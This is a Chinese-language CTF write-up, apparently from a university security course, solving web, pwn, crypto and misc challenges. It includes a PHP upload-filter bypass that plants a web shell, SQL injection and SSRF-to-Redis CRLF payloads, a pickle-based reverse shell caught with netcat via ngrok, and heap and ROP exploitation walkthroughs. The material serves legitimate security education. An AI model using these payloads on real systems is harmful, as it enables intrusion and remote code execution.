<br> <br> <h3>Source Code:</h3> <?php $file = $_FILES['my_file']['tmp_name']; $dest = 'upload/' . $_FILES['my_file']['name']; $extension = pathinfo($_FILES['my_file']['name'],PATHINFO_EXTENSION); $h = sha1(md5(file_get_contents($file))); if(stripos($extension, 'h') !== FALSE) die('Bad Hacker!'); // check content if($h === "9b651c5246040f7b776a8a81badf24382c4e1860") { echo "<h3 style='color:red'>OK, your shell is valid</h3>"; move_uploaded_file($file, $dest); } else if($file !== NULL) { die("Oops! You can only upload my shell :)"); } highlight_file(__FILE__); ?> ``` 擋住副檔名出現 h 這個字 但副檔名又一定要是 .php 才能被當作 php 執行 繞過方式, 檔名改成 a.php.b 這樣 pathinfo 只會拿到 b 但執行時卻會當作 php 執行 ``` wget https://edu-ctf.csie.org:10156/sh --no-check-certificate mv sh a.php.b ``` 上傳 a.php.b 後訪問 https://edu-ctf.csie.org:10156/upload/a.php.b 即拿到 Flag ### EasyPeasy 注入點在 Get 參數 id 可以實驗 `?id=1 and 1=2` 會發現標題跟內文都不見了 用以下 payload ``` https://edu-ctf.csie.org:10158/news.php?id=1 and 1=2 UNION SELECT 1,2,3 ``` 可以觀察到標題對應欄位2, 內文對應欄位3 ### Tinyurl 看了一下題目給的 環境是一台 Web Server 對外網 內網還有一台 Redis Web Server 可以打 SSRF, 但 protocol 只能是 http/https 發現了這篇[文章](https://xuanxuanblingbling.github.io/ctf/web/2019/10/13/complex/) 跟這題的思路一模一樣 用以下 payload 可以摸到 redis ``` http://redis:6379?%0d%0aSet X "123"%0d%0apadding ``` 其中的 `%0d%0a` 其實是 `\r\n` 如果只是在輸入框中直接打以上字串, 實際上 post data 會是再度 URL encode 過後的 ``` http://redis:6379?%250d%250aSet X "123"%250d%250apadding ``` 這就不會是成功的 所以要造出這 payload 1. 用 burpsutie 攔截封包, 先改一下再送 2. 寫腳本 用 docker 連進去 redis server 觀察, 發現 redis 中的 session 存著是 python 序列化的資料包 我們又可以摸到 redis server 所以攻擊手段成形 1. 改 redis server 中其中一個 session 的資料, 改為執行反彈 shell 2. 先 listen port 準備接住待會的反彈 shell 3. 使用此 victim session 連線, 實際執行反彈 shell 4. get shell~ 這邊實際指令是 1. 先使用 ngrok 得到外部 IP 畢竟我沒有外網主機 QQ 2. `nc -kl 5566` 準備在 5566 port 接 shell 3. 執行腳本 ./exploit.py exploit 中的 fakeContent 就是會執行反彈 shell 的序列化資料包 由執行 ./genPayload.py 產生, 裡頭的 IP 與 port 改成自己的主機(或是像我, 改成 ngrok 提供的外部主機與 port) ![](https://i.imgur.com/XthEOze.jpg) ### babySSRF TBD ### how2ssti TBD ### GhostGIF TBD ## Pwn ### shellc0de 這支程式會跑你輸入的 shellcode,但是禁止輸入 `\x05` `\x0f`,所以就不能執行 `syscall` 了 (這個指令的編碼就是由`\x05`, `\x0f`組成) 這題我最終的思路是 第一次 input 時 透過 rcx, 可以 leak 出 libc base address 透過 rbp, rsp, 可以知道 stack 位址 所以讓 hello() call read(stdin, Stack 中其中一個位址, 夠大的size) 是可行的 最終花了 48 Bytes 建構 payload1 再更新一下剛剛的 read 為 read(stdin, RSP+0x48, 夠大的size) 如此一來 第二次的 read 就會將輸入存放在 payload1 最後的 call r8 之後 payload2 再餵 shellcode call r8 結束後, 就會回來執行 shellcode ㄌ 要再一次 call read 的原因是因為 shellcode 中 syscall opcode 為 `0f 05` 一定會被檢查到 第二次的 call read 就不會有檢查 想輸入啥就輸入啥 ### bof 沒有 canary 保護 stack,單純的 buffer overflow 跳到執行 `sytem("sh")` 的 function 即可 ### orw 簡單的寫 shellcode 開檔讀檔輸出 ### rop 簡單的 rop 概念題,用工具可以直接造出 ROP chain ### ret2plt 先造出 gets 的 rop gadget,將 `"/bin/sh"` 寫到 bss 段 再造 system@plt gadget,參數為剛剛輸入的 `"/bin/sh"` 位址 pwned. ### ret2libc 首先為了 leak libc 位址 我先造出 puts gadget,參數為 main@got,輸出 main 的 libc 位址 再造 gets gadget,輸入 `"/bin/sh"` 到 bss 段 但因為這次輸入才能拿到 libc 位址 我需要跳回 main,讓我能重新造一個 rop chain 第二個 rop chain 就直接跳到 libc 中 system 的位址,參數為剛剛放指令的 bss 段 pwned. ### casino 這題 username, seed, age 在記憶體的位址是排在一起的 利用 username 輸入 overflow 蓋掉 seed,並且在後面放 shellcode seed 控到了,就可知 rand() 出來的亂數是什麼 接著因為 id 可以輸入負數來寫到 GOT table,導致可 GOT hijack 就把 puts 的 got 蓋成剛剛輸入的 shellcode 的位址 輸入正確答案後 call puts 就會執行 shellcode,pwned. ### casino++ 跟前面的 casino 一模一樣,但多開了 NX 保護機制,使得上面跳到 shellcode 的方式行不通 因為 NX,又沒有 system@plt,要先想辦法 leak libc,才有機會跳到 libc system 上 而原本程式只能輸入 2 次,根本做不了什麼事,為了能輸入好幾次,先把 puts 蓋成 casino(),後續只要第二次 try 輸入正確答案就能跳回 casino 繼續~~做歹逮事~~執行 能一直輸入不會馬上被趕出程式後,接著就是想辦法 leak libc 要 leak 總要有 output 的 function 幫忙 e.g. puts, printf 而 puts 已經拿來用了,只能往 printf 想 但又沒有地方可以用 format string vuln 此時靈光一閃,把 srand 蓋成 printf,原本的 `srand(seed)` 就會變成 `printf(seed)`,而 seed 可控,bang,format string vuln 所以一開始蓋 seed 時,seed 這邊就要考慮到接下來會變成 printf 的參數 ,配上一堆 `%x` or `%p` 基本上就能 leak where ever you want leak libc 後就能知道 system() 位址 一樣腦筋動到 `srand(seed)`,目前 srand 的 GOT 是跑到 printf@plt 再把 srand 的 GOT 蓋為 system 位於 libc 的位址 `srand(seed)` -> `printf(seed)` -> `system(seed)` 所以 seed 指向的位址上放 `/bin/sh;%p%p%p%p` 時, printf(seed) 會 leak 記憶體 system(seed) 會開 shell pwned. ### UAF 這題有個 backdoor 可以 call size 0x20 的 fastbin 會殘留 `bye()` 的位址 申請一塊 size 0x10 的記憶體會拿到這塊 fastbin 只填前八個字 printf 就會輸出 `bye()` 的位址出來 接下來就是覆蓋原本應該是 `bye()` 的位址, 蓋成 backdoor pwned. ### Note ![](https://i.imgur.com/sJl8woZ.png) 保護全開 首先先 leak libc 先申請一塊大於 0x80 的 chunk0, 如此就不是 fast chunk 再申請一塊 0x60 的 fast chunk1, 避免 free chunk1 時被 top chunk merge 起來 接著 free 掉 chunk0 後, chunk0 的 fd bk 欄位會有 libc 的位址, 若是 fast chunk 則會是另一個機制 詳細機制可以看 libc malloc.c 中 main_arena 的構造, 以及 free source code show 出這一塊, 就能 leak libc 接著再申請一塊也是 0x60 的 fast chunk2 然後利用 double free free 掉 chunk1 之後 先 free chunk2 來 bypass 掉 libc 對於 double free 的簡單防護 再 free chunk1 一次 接著申請 0x60 的 chunk, 寫入 `&__malloc_hook - 0x13` - 拿到原本 chunk1 的位址 - main_arena 的 fastbin 對應 0x70 的欄位會先紀錄成下一個位址, 也就是原本 chunk2 的位址 - chunk1 現在寫入了 `&__malloc_hook - 0x13` 再申請 0x60 的 chunk 一次 - 拿到原本 chunk2 的位址 - main_arena 的 fastbin 對應 0x70 的欄位會先紀錄成下一個位址, 也就是原本 chunk1 的位址 - chunk2 寫入了什麼不重要 **再申請 0x60 的 chunk 一次** - 拿到原本 chunk1 的位址 - **main_arena 的 fastbin 對應 0x70 的欄位會先紀錄成下一個位址, 也就是`&__malloc_hook - 0x13`的位址** - chunk1 這次寫入了什麼也不重要 這次, 再申請一次 0x60, 寫入 `aaa` 加上 libc 中 system 的位址, 就會... - **拿到`&__malloc_hook - 0x13`的位址** - 後面解釋為何能通過 size 的檢查 - main_arena 對應的 fastbin 寫了啥也不重要了 - **寫入`aaa` 加上 libc 中 system 的位址到`&__malloc_hook - 0x03`的位址** - 躺在 fastbin 中紀錄的, 以及 chunk fd 紀錄的, 是**整個 chunk 的頭**, 而不是 **chunk 資料的頭** - chunk 的頭若在 `&__malloc_hook - 0x13`, 它的資料起始位址要加上 0x10, 也就是`&__malloc_hook - 0x03`的位址 這邊要解釋一下, 為何把`&__malloc_hook - 0x13`當作 fake chunk 的頭是行得通的 其實只要看 size 檢查有沒有通過就好 `__malloc_hook` 前後的記憶體如下 ``` gdb-peda$ x/10xg 0x7fa45b5c8b10-0x20 0x7fa45b5c8af0 <_IO_wide_data_0+304>: 0x00007fa45b5c7260 0x0000000000000000 0x7fa45b5c8b00 <__memalign_hook>: 0x00007fa45b289e20 0x00007fa45b289a00 0x7fa45b5c8b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000 0x7fa45b5c8b20 <main_arena>: 0x0000000000000000 0x0000000000000000 0x7fa45b5c8b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000 ``` 來看看 `__malloc_hook - 0x13` ``` gdb-peda$ x/10xg 0x7fa45b5c8b10-0x13 0x7fa45b5c8afd: 0xa45b289e20000000 0xa45b289a0000007f 0x7fa45b5c8b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000 0x7fa45b5c8b1d: 0x0000000000000000 0x0000000000000000 0x7fa45b5c8b2d <main_arena+13>: 0x0000000000000000 0x0000000000000000 0x7fa45b5c8b3d <main_arena+29>: 0x0000000000000000 0x0000000000000000 ``` 比對是否屬於這個 fastbin 的 source code 是 ![](https://i.imgur.com/GjQC9yL.png) 其中 victim 為 `__malloc_hook - 0x13` chunksize 定義為 ![](https://i.imgur.com/e2zTLb3.png) PREV_INUSE 為 0x1 IS_MMAPPED 為 0x2 NON_MAIN_ARENA 為 0x4 所以經過這步後, size 會是 `0xa45b289a00000078` 再來 fastbin_index 為 ![](https://i.imgur.com/vWYQ5Xb.png) SIZE_SZ 為 size_t, 64bits 情況下為 8 所以經過這一步後 `0xa45b289a00000078` 先被轉型為 unsigned int 剩下 `0x00000078` 再右移 4 bits 剩下 `0x00000007` 跟 size 為 `0x0000000000000070` 的 chunk 會被判斷為同屬一個 fastbin 通過驗證後, 寫入 `__malloc_hook - 0x03`, 前面先寫了 3 個 padding 後, 正式將 `system` 寫到 `__malloc_hook` 上啦! 接下來申請一塊 size 為 X 的記憶體時 真正要處理 malloc 前會先遇到這一段 code ![](https://i.imgur.com/oHBMz12.png) 如此就會 call system(X) 啦~ 所以這次申請記憶體時, 讓 size 為指向 `/bin/sh` 字串的 pointer 就 pwn 下來了 ### T-Note 這題是在 libc-2.27.so 的, 是有使用 T-Cache 機制的版本 程式碼與 Note 差不多 exploit 拿上一題的來改就好 差別在於 1. leak libc - 需要用到 large chunk 才能只申請一塊, Free 它就直接產生連到 main_arena (也就是 libc)附近的 fd & bk - fast chunks, small chunks 都會啟用到 T-Cache 機制, 要 free 到第八塊才會啟用舊機制 2. double free? T-Cache 不防, 可以直接 free 兩個相同的 3. Chunk 頭? 資料頭? T-Cache 所存的記憶體位址為 **該 Chunk 的資料頭** 相較於舊機制, fastbins 是存 **整個 Chunk 的頭** 4. Size Check? Size 也不 Check 啦, 什麼都不 Check 啦 ### Election ![](https://i.imgur.com/6WbYhog.png) 全開, 怕爆 第一個漏洞是 ```c char buf[0xc8]; int main() { ... char token[0xb8] = {0}; ... int len = read( 0 , buf , sizeof( buf ) ); if( memcmp( buf , token , len ) ) ... } ``` 可以爆破 canary 與 old rbp canary 是一整隻程式就這一個 canary (存放在fs:0x28) **所以 main 的 canary 與其它 sub function 的 canary 都是一樣的** 第二個漏洞是 ```c void voting() { ... char msg[0xe0]; ... read( 0 , msg , candidates[idx].votes ); } ``` 而 votes 是 uint8_t, 最大值為 0xff 這邊有個很有限的 Buffer overflow (已知 canary, 所以可以打) 我的打法是打一個 Stack pivoting 路線 先把 RBP 改到 bss 段上面 (bss 段位址是 old rbp 帶來的資訊) 回到 main 後, 重新輸入 Token, 就會寫到 bss 段上 這邊寫一坨 ROP Chain 來到 voting, 這次 rbp 給他那一坨 ROP Chain 的起始位址 - 8, return address 給他 leave_ret 的 gadget 這次離開 voting - leave - rsp = stack 上的位址 - rbp = ROP Chain 的起始位址 - 8 - ret 此時 return 到 leave_ret 的 gadget 時... - leave - rsp = ROP Chain 的起始位址 - rbp = 不重要 - ret 這次 ret 就會跳到 ROP chain 上了! 但到目前還沒 leak libc, 所以 ROP chain 第一個部分就是 leak libc 再來則要獲得再次輸入的機會, 才能打第二段執行開 shell 的 ROP chain 可是沒有能操控 rdx 的 gadget, 無法利用 read 來讀 這時可以利用 ret2csu 來做出 read! 在要離開 csu gadget 時控 rbp, 控成第二段 ROP Chain 的位址 - 8 最後再一個 leave_ret - leave - rsp 第二段 ROP Chain 的位址 - rbp 不重要 - ret 再次利用 Stack Pivoting 就能跳上第二段 ROP Chain 的位址啦~ 在做第二段 ROP Chain 時, 已經 leak libc 了, 剩下就是簡單的跳上 system 執行 `/bin/sh`, 就 pwn 下來了 ### Note++ ![](https://i.imgur.com/lfqH07Q.png) 保護全開 觀察 code 後, 發現幾處漏洞 1. 在 `add()` 中 ```c read_input( notes[i].data , size - 1 ); ``` 沒有擋 size = 0, read_input 會將 -1 轉成 unsigned, 可造成 heap overflow 2. 也是 `add()` 中 ```c scanf( "%48s" , notes[i].description ); ``` 若輸入了 48 個字, scanf 會加上第 49 個 NULL 字元, 造成蓋掉下一個 Note struct 的 is_freed 欄位 而 `add()` 限制能申請的 memory size 最大為 0x78 --- 這題我打過以下路線皆失敗: - rewrite `__malloc_hook` to one gadget by fastbin attack - local 端就失敗, 沒有滿足條件的 one gadget - 用 fastbin attack 寫 0x21 到 `__free_hook` 前面, 再用一次 fastbin attack 蓋很長的字串, 蓋到 `__free_hook`, 蓋成 `system`, 並造出 `free('/bin/sh')` - 要用 fastbin attack, 必須符合 size 檢驗, 所以只能從 `__free_hook` 開始往前找到有 0x0000007x 的 4 個 bytes - local 端成功, remote 端失敗, 可能是蓋到不能蓋的變數 最後實際 work 的概念如下 - 用 unsorted bin attack 寫 0x7f?????? 到 `__free_hook` 前面, 再用 fastbin attack 蓋很長的字串, 蓋到 `__free_hook`, 蓋成 `system`, 並造出 `free('/bin/sh')` - 要用 unsorted bin attack, 只要成功改寫躺在 unsorted bin 的 chunk 的 bk, 就能將 `main_arena->bins - 0x10` 的位址寫到 fake bk + 0x10 - 不需要蓋很長, 避免蓋到必要的資訊, 導致在 remote 端壞掉 現在來詳細講講生出實際 work 的 exploit 過程以及思維是什麼 那, 開始囉 #### exploit 這裡講講實際 work 的詳細流程 --- 首先是 leak libc 直覺想就是透過 free small chunk, 在 libc 中的 main_arena 相關的位址會寫到此 chunk 的 fd 與 bk, 再想辦法讀到 fd 或 bk 要 free 一個 small chunk, 首先 要有一個 small chunk (廢話) 但由於題目限制, 不能直接申請 small chunk 只好先開一個 size 0x20 的 chunk1 再開兩個 size 較大的 chunk 先 free 掉 chunk1 再申請 size 為 0 的 chunk malloc 會回傳剛剛 free 掉的 chunk1 位址 而 read_input 又能寫 0xffffffff 個字 如此就可以爆改 chunk metadata, 自己偽造出一個 small chunk free 掉這個偽造的 small chunk 後 可以簡單利用漏洞 2, 讓對應偽造 free small chunk 的 Note 的 is_freed 蓋為 0, 就能通過這支程式本身提供的 List notes 來 leak --- libc 拿到了, 接下來就是自由發揮了 到目前為止, main_arena 還記錄著 unsorted bin 是剛剛 free 掉的偽造的 small chunk, 我的腳本是設定為 0x90 (size 一定要大於等於 0x90, 不然就會被 fastbin 收編了) 歪腦筋動到 `__malloc_hook` 或 `__free_hook` - 可以簡單的用 fastbin attack 將 fastbin 中的 chunk 的 fd 改到 `__malloc_hook` 前面一點點, 申請到一塊位於 `__malloc_hook` 前面一點點的 chunk, 輸入 payload 進去這個 chunk, 將 `__malloc_hook` 蓋成 one gadget - 但發現沒有滿足條件的 one gadget, 失敗 QQ - `__malloc_hook` 要吃數字當參數, 但 call malloc 又被限制參數不能大於 0x78, 把 `__malloc_hook` 蓋成 system 之後 call malloc('/bin/sh') 直覺上想是不可行的 - **那把 `__free_hook` 蓋成 system, call free('/bin/sh') 勒?** 思維來到要蓋 `__free_hook`, 第一個想法是用 fastbin attack forge chunk 到 `__free_hook` 前面, 且 size 是 0x20, 這樣就能通過申請 size 0 的 memory 來寫入 0xffffffff 個字元, 就能蓋到 `__free_hook` 了 這個方法在 local 端的確成功了, but 打遠端失敗了, 可能就是蓋太多, 蓋到不能蓋的東西 所以又要另想方法了 --- 搜尋到[這篇文章](https://medium.com/@ktecv2000/%E8%A9%B3%E8%AB%87heap-exploit-9ba957e27ee8) > 這代表什麼呢?這代表我們能先藉由unsorted bin attack將0x7f???????寫在__free_hook前面,再藉由fastbin attack去拿到這塊chunk (size : 0x70),如此一來就能覆寫__free_hook了!這個方法沒有運氣成分,完全可靠阿。 > 為了實際了解 unsorted bin 怎麼被操作的流程 這邊我去逛逛了 libc malloc 的 source code, 找到一段跟 unsorted bin 有關的能利用的部分 ![](https://i.imgur.com/3Ci0KXD.png) 解釋一下程式碼 - av 是指向 main_arena 的指標 - bck 與 victim 是在前面一點的 code 中設定的 - ![](https://i.imgur.com/3CTwiNp.png) victim 就是 unsorted bin 中的第一個 chunk bck 是 victim 的下一個 chunk - size 為 victim 的 size - nb 是欲申請的 size **若申請的 size 剛好跟 unsorted bin 中的第一個 chunk 一樣, 主要就只會做** ```c unsorted_chunks(av)->bk = bck; bck->fd = unsorted_chunks(av); ``` if 裡面的部分就是簡單的設定, 然後就 return 了, 完全跟 fd 無關 原本 unlink 還要造好 fd, 走這個路線就不用管了ㄏ --- 但現在 unsorted bin 第一個 chunk 大小是 0x90, 又無法申請 0x90 大小的, 只好先讓這塊 chunk 先變小 exploit 上的寫法就是申請一塊 0x30 的 chunk, 實際會拿走 0x40 size (+0x10 chunk header) - 0x30 fastbin 上沒有 chunk, 往 smallbin 找 - smallbin 上連結回自己, 代表雙向鏈中沒有 chunk, 往 unsorted bin 找 - unsorted bin 有, 切出 0x40 分配出去, 剩下 0x50 還是先放在 unsorted bin 此時 unsorted bin 第一個 chunk 大小是 0x50, 這樣就能申請到了 申請 0x40 的 chunk 前(實際 size 會再 +0x10 chunk header), 先把這一塊 0x50 的 chunk bk 改掉, 改成 `__free_hook`-0x70 再次申請時, malloc 會做什麼, 以下重點整理: - victim = unsorted_chunks (av)->bk - victim 為此位於 heap 中的 0x50 chunk - bck = victim->bk; - bck 為等於剛剛改掉的 `__free_hook`-0x70 - unsorted_chunks(av)->bk = bck; - 將 main_arena 紀錄的 unsorted bin 的 bk 改成 bck - 不是很重要 - bck->fd = unsorted_chunks(av); - fd 在 malloc_chunk 這個 struct 的 offset 是 0x10 - 所以這行是把存放 main_arena 的 unsorted bin 的位址放到`__free_hook`-0x70+0x10 - 形同 (`__free_hook`-0x60) = &main_arena->bins; 這時在 `__free_hook`-0x60 就有一個 0x7f...... 的值, 就能再次利用 fastbin attack, 造假一個 0x70 size 的 chunk 於 `__free_hook`-0x63 申請到這塊 chunk 的方式是申請 size 為 0x60 的 chunk, 實際上 size 為 0x70, 通過 size 驗證, 就能在 `__free_hook`-0x53 開始寫東西, 就能蓋 `__free_hook` 蓋成 `system`, 看到這邊還能跟上的話, 後面我就不用多說明了 --- 基本上已經寫完 write-up 了 這邊補充解釋為何 fake chunk 要在 `__free_hook` -0x63 這麼遠呢 中間的一些變數如下 ``` gdb-peda$ x/16xg 0x7fabfa2ac7a8-0x70 0x7fabfa2ac738: 0x0000000000000000 0x0000000000000000 0x7fabfa2ac748 <dealloc_buffers>: 0x00007fabfa2aab78 0x0000000000000000 0x7fabfa2ac758 <_IO_list_all_stamp>: 0x0000000000000000 0x0000000000000000 0x7fabfa2ac768 <list_all_lock+8>: 0x0000000000000000 0x0000000000000000 0x7fabfa2ac778 <_IO_stdfile_2_lock+8>: 0x0000000000000000 0x0000000000000000 0x7fabfa2ac788 <_IO_stdfile_1_lock+8>: 0x0000000000000000 0x0000000000000000 0x7fabfa2ac798 <_IO_stdfile_0_lock+8>: 0x0000000000000000 0x0000000000000000 0x7fabfa2ac7a8 <__free_hook>: 0x00007fabf9f2b390 0x0000000000000000 ``` 中間有一些 blablabal_lock 的東西, 我實驗過後是不能亂改動裡面的值 但詳細機制就沒有追 總之只有 -0x20 -0x30 是不行的, 我往前找後覺得 -0x70 這位址看起來就不會爆, 實際上也不會爆 XD 這邊留一個坑(x ## Crypto ### encrypt **線索 1** ```python assert(E ** ( I * pi ) + len(key) == 0) ``` E, I, pi 都是 sympy 中定義的變數, 分別是 Exp, 虛數, 跟圓周率 這個 assert 限制, 可以反推出 len(key) 一定要為 1 **線索 2** key 的 binary 若為 0x00001111 則會跑 stage0 4次 再跑 stage1 4次 而 stage0 stage1 都不會有 overflow 的問題 這表示, 可以反推! 統整兩個線索, 我們可以直接寫逆操作回來的 decrypt.py 並因為 key 長度只有 1, 表示 key 只有 0 ~ 255 的可能 可以暴力的 0 ~ 255 都當作 key 帶入看看 ### N-Time Pad 這題的情境是同一個 Pad 被用了好幾次, 而 Pad 本身就是 Flag 因為 Flag 一定是 FLAG 開頭, 所以就先設定 Pad 是 FLAG 後直接嘗試解密密文 然後就發現明文有一些明文是可以猜的 比如說解4個字出現 ` The` 那第5個字很有機會就是空格, 就可反推 Pad, 然後 Pad 越推越長就全部推出來了 ### Cathub Party 這題是打 Padding Oracle Attack 使用 PKCS\#7 作 Padding 的 CBC Block Cipher 可以看到 Party 裡面有個 cookies 叫做 flag ![](https://i.imgur.com/hp4ea5l.png) 如果這個 flag 解密後是符合 PKCS\#7 格式的 ![](https://i.imgur.com/8C2wAB4.jpg) (好ㄎㄧㄤ) 如果是錯的 ![](https://i.imgur.com/P9q1qZQ.png) 打的方式呢, 配上這張圖來解說 ![](https://i.imgur.com/2bp6o4L.png) 以下用這些 symbols 解說 $c_1$: 第一個 block 的密文 $c_2$: 第二個 block 的密文 $c_{e1}$: 第一個 block 竄改過的密文 $c_{e2}$: 第二個 block 竄改過的密文 $d_1$: 第一個 block 的解密後未 xor 的中間文 (好難講他到底是什麼, 反正就是剛 DES 解密完的啦 $d_2$: 第二個 block 的解密後未 xor 的中間文 $m_1$: 第一個 block 的明文 $m_2$: 第二個 block 的明文 我們可以透過修改 $c_1$ 的最後一個 Byte 變成 $c_{e1}$ 暴力的 0~255 全試過一次 有兩個解會符合 PKCS\#7 格式 1. 就是原本的 $c_1$ 值 2. 剛好改到跟 $d_2$ 最後一個 Byte xor 過後是 0x01 重點是第二個解, 此解間接透漏了 $d_2$ 就是 $c_{e1} \oplus$ 0x01$ 那就能解出原本的明文 $m_2$ 是 $d_2 \oplus c_1$ 再來推倒數第二個 Byte 這次就先把 $c_{e1}$ 最後一個 Byte 改成 $d_2 \oplus 0x02$ 再繼續爆破倒數第二個 Byte 以此類推, 就能爆破出整個 $m_2$ 不過這題有幾個小雷點, 前期我踩得很爽 1. flag 這 Cookies 有用 Base64 編碼後 再以 URLencode 編碼 2. Blocksize 是 16 以上, 剩下直接看 exploit ### SkyWalker TBD ### StarWars pollard p-1 attack 入門題 題目剛好設計了 $p, q$ 最大質因數只有 18 bits 詳細數學寫到了[資安導論的筆記裡了](https://hackmd.io/fCgxSRMZTLOapAlXkXx9fw?view#Pollard%E2%80%99s-p-%E2%80%93-1-Attack) 剩下直接看 exploit ### Mandalorian 跟 LSB Oracle Attack 有關, 但更寬鬆一點, 大放送 4 bits LSB 詳細數學寫到了[資安導論的筆記裡了](https://hackmd.io/fCgxSRMZTLOapAlXkXx9fw?view#LSB-Oracle-Attack) 剩下直接看 exploit ### Linear cryptoanalysis TBD ### Discrete log TBD ### Side Channel TBD ### Toy Classics TBD ## Misc ### Winmagic 這題給了 .pdb .exe .cpp 經過一番估狗 最後 solution 如下 參考 [這篇](https://stackoverflow.com/questions/7065419/how-do-i-debug-an-existing-c-executable-with-pdb-but-without-source-code) ``` devenv /debugexe Winmagic.exe ``` 其中 devenv 是 visual studio 此時應該會跳出 visual studio 的畫面 按下 F10 可以逐步執行 逐步到可以看到 cipher 內容是什麼後 就可以拿出來跟 key xor 出 flag 囉 ## 截圖 ![](https://i.imgur.com/IxkuEq7.jpg)